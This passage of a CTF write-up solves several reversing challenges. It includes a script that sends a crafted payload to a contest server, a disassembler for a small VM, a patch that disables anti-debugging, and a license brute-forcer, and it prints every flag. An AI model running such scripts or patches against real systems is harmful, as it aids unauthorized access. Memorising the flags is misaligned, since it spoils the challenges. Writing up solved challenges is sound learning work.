answers = [0, 0, 0, 0, 1, 2, 2, 2, 1, 1, 1, 1, 0, 0, 1, 2, 0, 0, 0, 2, 0, 0, 0, 2, 2, 1, 1, 2, 1, 1, 0, 0, 1, 2, 2, 2, 0, 0, 2, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 2, 0, 1, 2, 1, 1, 1, 2, 0, 2, 2, 1, 0, 1, 0, 0, 1, 0, 0, 2, 2, 2, 1, 2, 1, 0, 0, 0, 2, 0, 0, 2, 2, 1, 1, 0, 0, 2, 0, 0, 2, 0, 1, 0, 1, 2, 1, 2, 2, 1, 1, 0, 0, 1, 0, 2, 0, 1, 1, 0, 2, 2, 2, 0, 2, 2, 2, 2, 1, 1, 2, 0, 0, 2, 1, 1, 1, 2, 0, 0, 1, 0, 2, 2, 1, 2, 2, 2, 0, 2, 1, 2, 0, 2, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 1, 2, 1, 1, 1, 2, 2, 0, 0, 2, 2, 1, 2, 2, 2, 1, 2, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 2, 1, 1, 2, 0, 0, 2, 0, 2, 1, 2, 2, 2, 1, 0, 1, 1, 2, 0, 0, 2, 1, 1, 1, 1, 0, 0, 2, 1, 0, 0, 2, 2, 0, 0, 2, 2, 1, 0, 1, 0, 2, 1, 2, 2, 1, 1, 1, 2, 0, 1, 2, 2, 0, 0, 2, 1, 2, 2, 1, 0, 2, 2, 1, 2, 0, 0, 2, 2, 1, 2, 2, 2, 0, 0, 2, 2, 1, 2, 1, 1, 0, 2, 2, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 0, 1, 2, 0, 2, 2, 0, 0, 0, 1, 1, 2, 1, 0, 1, 0, 1, 1, 2, 2, 0, 2, 1, 0, 0, 0, 0, 0, 1, 0, 1, 2, 2, 0, 1, 0, 2, 2, 2, 2, 1, 1, 2, 2, 0, 0, 2, 2, 2, 0, 0, 2, 2, 1, 2, 1, 0, 2, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 1, 0, 2, 2, 1, 1, 2, 2, 0, 2, 2, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 2, 1, 0, 0, 1, 2, 1, 2, 1, 0, 0, 1, 0, 2, 2, 1, 0, 0, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 1, 0, 2, 2, 0, 0, 1, 0, 2, 0, 0, 1, 2, 0, 1, 0, 0, 0, 2, 2, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 2, 0, 2, 1, 2, 2, 2, 2, 1, 1, 2, 1, 1, 2, 0, 2, 0, 1, 2, 1, 0, 1, 2, 2, 2, 2, 2, 0, 0, 0, 1, 2, 2, 1, 2, 0, 2, 1, 0, 0, 0, 2, 2, 0, 0, 0, 2, 1, 2, 2, 0, 2, 2, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 2, 0, 2, 0, 1, 2, 0, 0, 2, 2, 0, 1, 0, 0, 2, 0, 0, 1, 0, 1, 0, 1, 2, 0, 0, 0, 1, 1, 2, 2, 1, 0, 0, 1, 2, 1, 0, 2, 1, 2, 0, 1, 0, 2, 0, 2, 1, 1, 2, 2, 0, 1, 2, 2, 1, 2, 1, 1, 2, 2, 0, 2, 2, 1, 1, 2, 0, 2, 1, 2, 2, 1, 2, 2, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 2, 2, 0, 0, 0, 0, 1, 2, 2, 0, 2, 1, 1, 0, 2, 2, 0, 0, 1, 1, 2, 0, 2, 1, 2, 1, 1, 1, 1, 2, 0, 1, 1, 0, 2, 1, 0, 2, 1, 1, 2, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 2, 2, 0, 1, 2, 0, 1, 0, 2, 2, 1, 2, 1, 1, 0, 2, 0, 0, 1, 0, 2, 0, 1, 2, 1, 1, 0, 2, 0, 1, 2, 2, 1, 1, 2, 0, 1, 0, 0, 2, 1, 0, 2, 2, 1, 2, 1, 2, 1, 0, 2, 2, 1, 1, 1, 2, 1, 2, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 1, 0, 0, 2, 2, 2, 1, 0, 2, 2, 0, 0, 0, 0, 2, 0, 2, 2, 0, 1, 1, 0, 0, 2, 1, 2, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 2, 1, 2, 1, 0, 1, 0, 1, 1, 2, 1, 1, 1, 2, 2, 0, 1, 2, 1, 2, 0, 1, 0, 1, 2, 1, 2, 0, 2, 2, 0, 0, 0, 0, 2, 1, 1, 2, 2, 2, 0, 1, 0, 2, 1, 1, 1, 0, 1, 1, 2, 0, 2, 1, 0, 2, 2, 2, 0, 0, 1, 1, 0, 0, 1, 2, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 2, 0, 1, 2, 0, 1, 1, 1, 2, 1, 0, 0, 1, 2, 1, 2, 0, 0, 2, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 2, 2, 2, 1, 0, 1, 0, 2, 2, 0, 0, 1, 2, 1, 2, 0, 0, 2, 0, 0, 1, 2, 1, 1, 2, 0, 1, 0, 0, 1, 1, 1, 1, 0, 2, 1, 1, 1, 1, 0, 2, 1, 0, 0, 2, 2, 2, 1, 1, 1, 2, 1, 2, 0, 0, 2, 0, 1, 2, 0, 2, 0, 2, 2, 1, 2, 2, 1, 2, 0, 0, 1, 2, 2, 0, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 1, 2, 2, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 1, 1, 2, 0, 2, 1, 0, 0, 1, 1, 1, 0, 2, 2, 2, 2, 2, 0, 0, 2, 2, 2, 0, 2, 0, 0, 1, 2, 1, 2, 0, 2, 1, 1, 2, 0, 1, 1, 2, 2, 0, 2, 1, 1, 2, 2, 2, 1, 1, 2, 2, 0, 0, 0, 2, 2, 1, 2, 0, 1, 2, 0, 1, 1, 0, 1, 0, 2, 2, 0, 0, 2, 0, 1, 0, 1, 2, 1, 0, 2, 1, 1, 2, 1, 1, 2, 1, 0, 1, 2, 2, 0, 0, 2, 2, 1, 0, 2, 0, 2, 0, 2, 1, 0, 2, 2, 0, 2, 1, 1, 0, 2, 0, 2, 0, 2, 2, 2, 1, 1, 2, 1, 2, 0, 2, 0, 0, 2, 2, 1, 1, 2, 0, 2, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 2, 2, 1, 1, 0, 0, 1, 2, 2, 2, 1, 0, 1, 0, 1, 2, 2, 0, 0, 2, 2, 0, 0, 0, 2, 1, 0, 2, 1, 0, 0, 2, 2, 2, 0, 0, 2, 0, 2, 2, 0, 2, 1, 0, 0, 0, 0, 2, 0, 0, 0, 2, 1, 2, 1, 0, 0, 2, 2, 2, 1, 2, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 2, 2, 0, 1, 0, 1, 2, 0, 1, 2, 2, 1, 2, 0, 0, 2, 0, 0, 2, 0, 1, 2, 0, 2, 1, 1, 2, 2, 2, 0, 1, 1, 0, 2, 2, 1, 2, 0, 2, 2, 2, 0, 0, 0, 1, 0, 2, 2, 1, 1, 2, 0, 1, 2, 2, 0, 1, 2, 0, 0, 1, 1, 2, 0, 2, 1, 0, 0, 2, 2, 1, 0, 0, 2, 2, 0, 0, 0, 0, 1, 2, 2, 0, 0, 0, 0, 2, 0, 1, 2, 2, 2, 2, 1, 2, 2, 1, 2, 1, 1, 2, 2, 1, 1, 2, 1, 0, 0, 2, 2, 1, 1, 1, 2, 2, 1, 2, 2, 1, 2, 0, 2, 0, 2, 2, 1, 1, 0, 2, 0, 2, 0, 0, 1, 1, 1, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 1, 2, 0, 0, 1, 2, 0, 1, 2, 0, 0, 1, 2, 2, 1, 1, 0, 2, 0, 1, 0, 0, 2, 0, 2, 0, 2, 2, 0, 0, 0, 2, 2, 2, 2, 2, 0, 0, 2, 2, 2, 1, 1, 2, 1, 0, 2, 1, 2, 0, 1, 2, 2, 2, 1, 2, 2, 0, 2, 0, 2, 1, 2, 2, 0, 0, 1, 1, 2, 2, 0, 0, 1, 0, 2, 1, 2, 1, 2, 2, 1, 0, 2, 2, 1, 2, 0, 2, 2, 2, 1, 0, 1, 1, 1, 0, 1, 2, 2, 0, 1, 2, 0, 0, 0, 2, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 2, 2, 2, 2, 2, 2, 2, 1, 2, 2, 1, 1, 2, 0, 0, 2, 2, 0, 0, 0, 0, 2, 2, 2, 0, 2, 2, 2, 1, 1, 2, 1, 2, 1, 0, 1, 1, 2, 1, 0, 0, 2, 2, 0, 2, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 0, 0, 0, 0, 1, 2, 2, 2, 2, 2, 1, 2, 2, 0, 2, 2, 2, 2, 1, 0, 0, 1, 1, 0, 2, 0, 0, 2, 1, 2, 0, 2, 1, 2, 1, 2, 2, 2, 1, 0, 2, 2, 2, 1, 2, 0, 1, 0, 0, 1, 1, 2, 0, 2, 1, 2, 0, 1, 1, 1, 0, 0, 2, 2, 0, 0, 2, 1, 2, 1, 0, 1, 1, 0, 2, 0, 0, 0, 1, 0, 0, 2, 0, 2, 0, 2, 2, 1, 2, 0, 0, 2, 2, 2, 1, 1, 1, 0, 0, 1, 2, 0, 1, 2, 2, 1, 0, 2, 2, 1, 0, 2, 2, 0, 1, 2, 1, 1, 1, 1, 2, 2, 0, 0, 2, 2, 2, 0, 2, 0, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, 1, 0, 1, 2, 2, 2, 0, 2, 2, 0, 2, 1, 0, 1, 2, 0, 0, 2, 1, 2, 0, 2, 0, 0, 2, 1, 1, 0, 2, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 2, 1, 1, 1, 2, 1, 2, 0, 1, 0, 1, 0, 2, 1, 1, 2, 2, 0, 0, 2, 1, 0, 2, 0, 0, 0, 1, 2, 0, 2, 1, 0, 2, 0, 2, 0, 0, 0, 1, 1, 2, 2, 2, 1, 1, 0, 0, 0, 2, 0, 2, 0, 1, 0, 0, 1, 2, 0, 2, 0, 0, 2, 2, 2, 0, 2, 1, 0, 1, 1, 0, 2, 0, 1, 2, 0, 2, 2, 2, 0, 1, 2, 1, 0, 1, 2, 0, 0, 1, 2, 2, 2, 0, 1, 2, 2, 0, 0, 2, 2, 1, 1, 1, 2, 0, 2, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 2, 1, 0, 2, 1, 1, 0, 2, 1, 2, 1, 1, 0, 0, 2, 1, 0, 1, 2, 1, 1, 0, 1, 1, 0, 2, 2, 2, 2, 0, 0, 0, 1, 2, 2, 2, 1, 1, 0, 2, 1, 2, 1, 1, 0, 2, 1, 1, 2, 1, 2, 1, 2, 1, 0, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 0, 2, 0, 0, 2, 1, 2, 2, 0, 0, 0, 0, 0, 0, 2, 0, 0, 2, 0, 1, 1, 0, 0, 0, 1, 0, 2, 0, 0, 2, 1, 2, 1, 1, 2, 2, 1, 1, 2, 2, 0, 0, 2, 0, 2, 0, 2, 0, 1, 2, 0, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 0, 2, 2, 0, 1, 1, 0, 2, 0, 0, 2, 2, 1, 0, 1, 1, 0, 2, 1, 2, 0, 1, 1, 2, 0, 2, 1, 0, 2, 0, 1, 0, 2, 2, 0, 2, 2, 2, 2, 0, 2, 2, 0, 0, 0, 0, 1, 1, 0, 0, 0, 2, 1, 1, 2, 1, 0, 1, 1, 2, 0, 0, 2, 0, 0, 2, 1, 2, 2, 0, 2, 2, 1, 2, 0, 2, 1, 1, 2, 2, 1, 2, 1, 2, 0, 1, 2, 1, 0, 0, 2, 1, 2, 1, 1, 0, 1, 1, 2, 0, 1, 2, 2, 0, 2, 0, 1, 0, 1, 2, 0, 1, 1, 0, 1, 1, 2, 2, 1, 1, 2, 0, 1, 0, 1, 0, 0, 0, 2, 1, 2, 0, 1, 2, 0, 0, 2, 0, 0, 1, 0, 2, 2, 2, 2, 2, 2, 0, 2, 2, 1, 0, 2, 1, 2, 2, 0, 2, 2, 2, 1, 1, 2, 1, 1, 1, 0, 1, 1, 1, 2, 0, 0, 2, 2, 2, 2, 0, 2, 2, 1, 0, 0, 2, 2, 0, 0, 0, 2, 0, 0, 1, 1, 1, 0, 0, 0, 2, 2, 1, 2, 0, 0, 0, 0, 0, 1, 1, 0, 0, 2, 0, 0, 2, 1, 1, 2, 0, 2, 1, 1, 2, 0, 1, 0, 0, 0, 2, 1, 2, 1, 2, 0, 0, 0, 0, 2, 2, 2, 1, 2, 1, 2, 2, 0, 2, 2, 2, 0, 0, 2, 0, 1, 2, 1, 1, 2, 0, 0, 0, 2, 2, 0, 0, 1, 1, 1, 1, 1, 2, 1, 0, 0, 0, 0, 0, 0, 1, 0, 2, 1, 1, 0, 2, 0, 0, 1, 0, 0, 2, 0, 1, 1, 0, 2, 2, 1, 0, 1, 1, 2, 1, 1, 2, 0, 1, 2, 2, 0, 1, 0, 1, 0, 0, 1, 1, 0, 2, 1, 0, 2, 2, 1, 1, 2, 2, 1, 2, 1, 1, 1, 1, 2, 0, 2, 1, 2, 0, 0, 2, 0, 2, 1, 2, 0, 1, 2, 0, 0, 0, 2, 0, 1, 0, 2, 2, 0, 2, 1, 0, 0, 2, 2, 1, 0, 1, 0, 0, 1, 0, 1, 2, 0, 1, 2, 2, 2, 0, 1, 1, 0, 2, 0, 1, 1, 2, 0, 1, 1, 1, 2, 2, 1, 1, 1, 0, 1, 0, 1, 1, 2, 2, 0, 1, 2, 1, 2, 0, 2, 1, 0, 2, 1, 0, 1, 1, 0, 2, 0, 2, 1, 1, 2, 0, 0, 0, 0, 2, 1, 1, 0, 2, 2, 0, 2, 1, 0, 2, 1, 1, 1, 0, 0, 2, 1, 2, 2, 2, 1, 2, 2, 0, 2, 1, 2, 2, 0, 0, 2, 2, 0, 2, 0, 2, 1, 2, 0, 0, 2, 1, 0, 0, 1, 0, 2, 0, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 0, 0, 2, 2, 1, 1, 2, 0, 1, 0, 2, 2, 0, 2, 2, 0, 1, 1, 2, 1, 1, 1, 2, 0, 2, 0, 2, 0, 1, 1, 0, 2, 1, 0, 2, 2, 1, 1, 1, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 0, 0, 1, 0, 2, 1, 0, 1, 0, 1, 2, 0, 0, 2, 0, 2, 0, 2, 0, 2, 0, 0, 0, 2, 2, 1, 2, 0, 2, 2, 1, 1, 2, 1, 2, 2, 0, 2, 2, 0, 0, 2, 1, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 1, 2, 1, 2, 0, 2, 0, 0, 0, 1, 2, 2, 0, 2, 2, 2, 0, 1, 1, 0, 0, 2, 0, 2, 0, 0, 0, 2, 0, 1, 2, 0, 0, 2, 2, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 2, 1, 0, 0, 1, 0, 1, 0, 2, 0, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 1, 1, 1, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 2, 2, 1, 1, 1, 1, 0, 1, 2, 2, 2, 2, 2, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 2, 0, 2, 2, 0, 2, 0, 1, 0, 2, 0, 0, 1, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 2, 1, 2, 2, 2, 1, 2, 0, 2, 2, 1, 0, 1, 2, 0, 2, 1, 0, 2, 2, 2, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 2, 1, 0, 0, 1, 1, 0, 2, 1, 2, 0, 2, 2, 0, 2, 1, 2, 2, 1, 1, 1, 2, 0, 2, 2, 1, 2, 2, 2, 0, 1, 0, 0, 0, 0, 1, 0, 0, 2, 2, 0, 0, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 2, 0, 0, 0, 0, 2, 2, 1, 1, 2, 0, 0, 2, 0, 0, 2, 1, 1, 1, 2, 0, 0, 2, 1, 1, 2, 0, 2, 2, 2, 0, 2, 0, 2, 2, 0, 1, 2, 0, 1, 0, 2, 2, 1, 1, 1, 2, 2, 1, 2, 2, 0, 1, 1, 2, 2, 0, 1, 1, 1, 2, 1, 0, 1, 2, 0, 1, 0, 0, 2, 0, 0, 0, 2, 0, 1, 1, 1, 2, 0, 2, 1, 1, 2, 1, 2, 0, 2, 2, 0, 2, 0, 2, 2, 2, 2, 0, 0, 1, 2, 0, 0, 0, 2, 0, 1, 1, 1, 0, 0, 0, 2, 2, 2, 2, 2, 1, 2, 1, 2, 0, 2, 0, 2, 1, 0, 0, 2, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 2, 1, 2, 2, 0, 1, 0, 0, 1, 2, 0, 1, 2, 1, 0, 2, 0, 0, 2, 0, 2, 1, 2, 2, 0, 2, 0, 1, 0, 0, 2, 2, 2, 1, 1, 2, 2, 1, 0, 2, 2, 0, 2, 2, 2, 1, 1, 0, 0, 2, 2, 1, 0, 2, 1, 2, 2, 1, 0, 0, 0, 1, 2, 2, 1, 2, 1, 2, 2, 0, 0, 2, 1, 2, 2, 0, 2, 1, 0, 1, 1, 2, 1, 1, 1, 2, 2, 1, 0, 0, 2, 0, 2, 1, 1, 1, 1, 2, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 2, 0, 0, 1, 0, 2, 1, 2, 0, 2, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 2, 0, 0, 1, 2, 1, 1, 2, 1, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 2, 2, 1, 2, 2, 1, 0, 2, 1, 1, 1, 2, 2, 1, 2, 2, 1, 2, 2, 0, 2, 1, 2, 0, 0, 1, 1, 2, 2, 2, 0, 0, 1, 2, 0, 1, 0, 0, 0, 1, 2, 1, 0, 2, 0, 2, 1, 0, 0, 0, 2, 2, 1, 0, 0, 2, 2, 0, 0, 2, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 2, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 2, 2, 2, 0, 0, 0, 0, 1, 1, 0, 0, 2, 0, 1, 0, 2, 0, 1, 0, 2, 0, 2, 2, 2, 1, 1, 1, 2, 2, 1, 1, 0, 1, 2, 2, 1, 2, 0, 1, 0, 2, 1, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 2, 1, 2, 0, 1, 0, 2, 0, 0, 2, 0, 0, 2, 2, 2, 0, 2, 2, 0, 0, 0, 1, 1, 1, 1, 0, 2, 0, 2, 0, 1, 2, 0, 2, 2, 2, 2, 2, 2, 0, 2, 1, 0, 0, 1, 2, 0, 0, 1, 1, 0, 1, 2, 1, 0, 0, 1, 1, 1, 2, 2, 1, 0, 2, 2, 0, 0, 0, 1, 1, 0, 0, 1, 1, 2, 1, 2, 2, 0, 2, 2, 1, 0, 2, 0, 0, 2, 1, 1, 1, 2, 0, 1, 2, 2, 1, 1, 1, 2, 2, 1, 0, 2, 1, 1, 2, 2, 0, 1, 1, 1]
answers.append(1)
passw = "_P4ssw0rd!_"
collected = b''

key = [b"?"] * 3272

prev = 0x0975

buf = p32(len(passw)) + passw.encode()
buf += b"\x00\x00"
for xx in range(len(answers)):
    buf += b"\x01\x00"
    buf += bytes([answers[xx]])+b"\x00\x00\x00"

buf += b"\x02\x00\x00\x00"


r = remote("gamebox3.reply.it", 31331)
r.send(buf)

max = 0
data = r.recvall(timeout=2)
for ch in data.split(b"Congratulations, you won a <")[1:]:
    if prev > max:
        max = prev
    key[prev] = ch[0]
    prev = struct.unpack("H", ch[3:5])[0]

print(bytes(key))
print(data[-688:-4])

This script prints both the key and the flag, which we can RSA decrypt using cyberchef: https://t.ly/CqxSi

Flag

{FLAG:C0n7r0lc4n50m371m35b34n1llu510nBu750m371m35y0un33d1llu510n70641nc0n7r0l!}

Binary-200

Description

PEA

At the climax of his adventure in Binary, R-Boy finds himself face to face with Firewall, the master of the realm. An epic battle ensues. R-Boy must give his all to obtain the first of the Five Fragments: the Bit Fragment.

Solution

The binary contains a tiny VM and a code for it. The bytecode can be extracted from the ELF at file offset 0xA50E0. We write a disassembler for the VM:

def r8(f):
    return f.read(1)[0]

with open('bc', 'rb') as f:
    while True:
        opcode = r8(f)
        if opcode == 1:
            print("mov r%d, %d" % (r8(f), r8(f)))
        elif opcode == 6:
            hm = r8(f)
            r = r8(f)
            if hm == 1:
                print("read r%d (fd=r0, buf=r1, n=r2)" % r)
            elif hm == 2:
                print("write r%d (fd=r0, buf=r1, n=r2)" % r)
            else:
                raise Exception("fuk")
        elif opcode == 2:
            print("mov mem[r%d], r%d" % (r8(f), r8(f)))
        elif opcode == 4:
            print("add r%d, r%d" % (r8(f), r8(f)))
        elif opcode == 3:
            print("mov r%d, mem[r%d]" % (r8(f), r8(f)))
        elif opcode == 5:
            print("xor r%d, r%d" % (r8(f), r8(f)))
        elif opcode == 7:
            print("cmp r%d, %d" % (r8(f), r8(f)))
        elif opcode == 8:
            print("jz %d" % r8(f))
        elif opcode == 9:
            print("cmp r%d, r%d" % (r8(f), r8(f)))
        elif opcode == 10:
            print("jnz %d" % r8(f))

        else:
            raise Exception("unk opcode " + str(opcode))
        
# @184: input
# @220: vals

And get the following program:

mov r0, 0
mov r1, 184
mov r2, 36
read r0 (fd=r0, buf=r1, n=r2)
mov r2, 1
mov r0, 220
mov r1, 65
mov mem[r0], r1
add r0, r2
mov r1, 58
mov mem[r0], r1
add r0, r2
mov r1, 15
mov mem[r0], r1
add r0, r2
mov r1, 59
mov mem[r0], r1
add r0, r2
mov r1, 9
mov mem[r0], r1
add r0, r2
mov r1, 78
mov mem[r0], r1
add r0, r2
mov r1, 93
mov mem[r0], r1
add r0, r2
mov r1, 77
mov mem[r0], r1
add r0, r2
mov r1, 14
mov mem[r0], r1
add r0, r2
mov r1, 48
mov mem[r0], r1
add r0, r2
mov r1, 93
mov mem[r0], r1
add r0, r2
mov r1, 25
mov mem[r0], r1
add r0, r2
mov r1, 13
mov mem[r0], r1
add r0, r2
mov r1, 31
mov mem[r0], r1
add r0, r2
mov r1, 89
mov mem[r0], r1
add r0, r2
mov r1, 69
mov mem[r0], r1
add r0, r2
mov r1, 9
mov mem[r0], r1
add r0, r2
mov r1, 29
mov mem[r0], r1
add r0, r2
mov r1, 90
mov mem[r0], r1
add r0, r2
mov r1, 75
mov mem[r0], r1
add r0, r2
mov r1, 5
mov mem[r0], r1
add r0, r2
mov r1, 70
mov mem[r0], r1
add r0, r2
mov r1, 94
mov mem[r0], r1
add r0, r2
mov r1, 24
mov mem[r0], r1
add r0, r2
mov r1, 5
mov mem[r0], r1
add r0, r2
mov r1, 29
mov mem[r0], r1
add r0, r2
mov r1, 5
mov mem[r0], r1
add r0, r2
mov r1, 79
mov mem[r0], r1
add r0, r2
mov r1, 89
mov mem[r0], r1
add r0, r2
mov r1, 29
mov mem[r0], r1
add r0, r2
mov r1, 9
mov mem[r0], r1
add r0, r2
mov r1, 29
mov mem[r0], r1
add r0, r2
mov r1, 90
mov mem[r0], r1
add r0, r2
mov r1, 69
mov mem[r0], r1
add r0, r2
mov r1, 11
mov mem[r0], r1
add r0, r2
mov r1, 7
mov mem[r0], r1
add r0, r2
mov r0, 188
mov r1, 205
mov r2, mem[r0]
mov r3, mem[r1]
mov mem[r1], r2
mov mem[r0], r3
mov r0, 186
mov r1, 193
mov r2, mem[r0]
mov r3, mem[r1]
mov mem[r1], r2
mov mem[r0], r3
mov r0, 201
mov r1, 216
mov r2, mem[r0]
mov r3, mem[r1]
mov mem[r1], r2
mov mem[r0], r3
mov r0, 184
mov r1, 219
mov r2, mem[r0]
mov r3, mem[r1]
mov mem[r1], r2
mov mem[r0], r3
mov r0, 184
mov r1, 185
mov r2, 2
mov r5, 60
mov r6, 124
mov r3, mem[r0]
mov r4, mem[r1]
xor r3, r5
xor r4, r6
mov mem[r0], r3
mov mem[r1], r4
add r0, r2
add r1, r2
cmp r0, 220
jz 228
mov r0, 183
mov r1, 219
mov r2, 1
mov r5, 0
add r0, r2
add r1, r2
add r5, r2
mov r3, mem[r0]
mov r4, mem[r1]
cmp r3, r4
jnz 14
mov r0, 1
mov r1, 9
mov r2, 13
write r0 (fd=r0, buf=r1, n=r2)

We can see at the beginning it fills up an array at address 220 with various values. After some swapping of the input, it seems to xor the array with [60,124], or 3C7C. We collect the decimal numbers and xor them using cyberchef: https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)XOR(%7B'option':'Hex','string':'3C7C'%7D,'Standard',false)&input=NjUgNTggMTUgNTkgOSA3OCA5MyA3NyAxNCA0OCA5MyAyNSAxMyAzMSA4OSA2OSA5IDI5IDkwIDc1IDUgNzAgOTQgMjQgNSAyOSA1IDc5IDg5IDI5IDkgMjkgOTAgNjkgMTEgNw

We get something that looks flag-ish, we just need to apply the swaps, as can be seen in the following code pattern which swaps offset 188 and 205:

mov r0, 188
mov r1, 205
mov r2, mem[r0]
mov r3, mem[r1]
mov mem[r1], r2
mov mem[r0], r3

The flag buffer itself starts at offset 184, giving us the following final step:

target = list("}F3G52a12Lae1ce95af79:bd9a93ea5af97{")

def swp(i, j):
    (target[i-184], target[j-184]) = (target[j-184], target[i-184])

swp(184, 219)
swp(201, 216)
swp(186, 193)
swp(188, 205)
print("".join(target))

Flag

{FLG:2a123ae1ce95ff795bd9a93ea5aa97}

Binary-100

Description

Ivano only drinks steel uoter

R-Boy continues his journey in the Binary Kingdom, an ancient glittering fortress protected by complex defenses. After overcoming mazes of code and defeating numerous guardians, he reaches the central palace. Here he faces a series of ingenious challenges, the famed 'Steel Uoter' challenges, testing his skills to the utmost.

Solution

We get a statically linked binary to reverse engineer called steeluoter. We need to put the proper input in license.txt to get the flag.

The first thing the binary does is check for a debugger (in sub_43D880). As we want to be able to debug the binary and rev it dynamically like any self-respecting CTF player, we nop this call out.

The input is divided into 4 parts of 5 digits, converted to numbers and various checks performed on the numbers, looking for example like:

if ( bitzero(first5[0] - 0x30)
        && !bitzero(first5[4] - 48)
        && (int)sum((__int64)first5) > 20
        && (int)sum((__int64)first5) <= 24
        && divisible(firstnum, 5)
        && divisible(firstnum, 25)
        && divisible(firstnum, 2455)
        && second[0] - 48 + second[1] - 48 + 1 == second[2] - 48
        && v24 == v19 )
      {

As the parts are only 5 digits long, we don't have to use any cool SAT solvers and can just do a good old bruteforce. For example, for the fourth part, we convert the following C statements:

bitzero(fourthnum)
&& divisible(fourthnum, 4)
&& divisible(fourthnum, 8)
&& divisible(fourthnum, 5581)
&& (unsigned int)sum((__int64)fourth) == 26 )

Into a python bruteforce:

def getSum(n): 
    
    sum = 0
    for digit in str(n):  
      sum += int(digit)       
    return sum

for x in range(100000):
   if (x & 1) != 0:
      continue
   if x % 4 != 0:
      continue
   if x % 8 != 0:
      continue
   if x % 5581 != 0:
      continue
   if getSum(x) != 26:
      continue
   print(x)

Like that, we eventually get the correct license code:

$ cat license.txt 
61375348765052544648
$ ./steeluoter 
License is OK!

We use the license code as the password for extracting flag.zip.

Flag

{FLG:1v4n0_1m_57uhl_und_d13_57umm3_f4hn3}